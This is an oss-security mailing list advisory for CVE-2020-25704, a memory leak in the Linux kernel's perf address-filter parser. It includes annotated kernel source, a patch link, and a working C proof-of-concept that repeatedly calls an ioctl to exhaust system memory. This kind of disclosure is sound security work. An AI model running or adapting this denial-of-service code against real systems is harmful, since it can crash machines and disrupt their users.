|
Message-ID: <48969a763aaf4601b35d47f7208746eb@tencent.com> Date: Mon, 9 Nov 2020 10:39:36 +0000 From: kiyin(尹亮) <kiyin@...cent.com> To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com> Subject: [CVE-2020-25704] Linux kernel: perf_event_parse_addr_filter memory leak CVE assigned: CVE-2020-25704 Patch: https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git/commit/?id=7bdb157cdebbf95a1cd94ed2e01b338714075d00 Details: Hi, There is a memory leak in perf_event_parse_addr_filter. Here is the detail. https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/kernel/events/core.c?h=v5.9.3#n9991 9991 static int 9992 perf_event_parse_addr_filter(struct perf_event *event, char *fstr, 9993 struct list_head *filters) 9994 { ...................................................................................................................................................................................................................... 10058 if (token == IF_SRC_FILE || token == IF_SRC_FILEADDR) { 10059 int fpos = token == IF_SRC_FILE ? 2 : 1; 10060 10061 filename = match_strdup(&args[fpos]); <--------------- match_strdup allocates memory for filename 10062 if (!filename) { 10063 ret = -ENOMEM; 10064 goto fail; 10065 } 10066 } ...................................................................................................................................................................................................................... 10089 if (filter->action == PERF_ADDR_FILTER_ACTION_FILTER && <--------------- if filter->action == PERF_ADDR_FILTER_ACTION_FILTER and filter->size is zero, go to failed branch 10090 !filter->size) 10091 goto fail; 10092 ...................................................................................................................................................................................................................... 10140 fail_free_name: 10141 kfree(filename); 10142 fail: <--------------- filename is not freed in the failed branch. that causes a memory leak. 10143 free_filters_list(filters); 10144 kfree(orig); 10145 10146 return ret; 10147 } the length of filename is no limit. using the following test code, it will take 40 seconds to exhaust 16GB memory in my laptop: CPU intel i5 10210U,Ubuntu 20.04, kernel version 5.4.0-42-generic. then I have to press power button to reboot the system manually. #include <sys/ioctl.h> #include <linux/perf_event.h> #include <unistd.h> #include <string.h> #define __NR_perf_event_open 298 static long perf_event_open( struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags ) { int ret; ret = syscall( __NR_perf_event_open, hw_event, pid, cpu, group_fd, flags ); return ret; } char buf[11 + 1024 * 1024 * 16 + 1] = { 0 }; int main( void ) { int fd1, i; struct perf_event_attr pe1 = { 0 }; pe1.type = 9; // may be different in other system. just run" cat /sys/bus/event_source/devices/intel_pt/type" pe1.exclude_kernel = 1; pe1.exclude_hv = 1; pe1.exclude_idle = 1; fd1 = perf_event_open( &pe1, getpid(), -1, -1, 0 ); if ( fd1 > 0 ) { memset( buf, 'A', 11 + 1024 * 1024 * 16 ); //filename length is 16MB memcpy( buf, "filter,0/0@", 11 ); for ( i = 0; i < 1024; i++ ) { ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak 16MB*1024=16GB } buf[11 + 1024 * 1024] = '\0'; //filename length is 1MB for ( i = 0; i < 16; i++ ) { ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak 1MB*16=16MB } buf[11 + 1024] = '\0'; //filename length is 1KB while ( 1 ) ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak the rest } return 0; } Regards, kiyin.
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.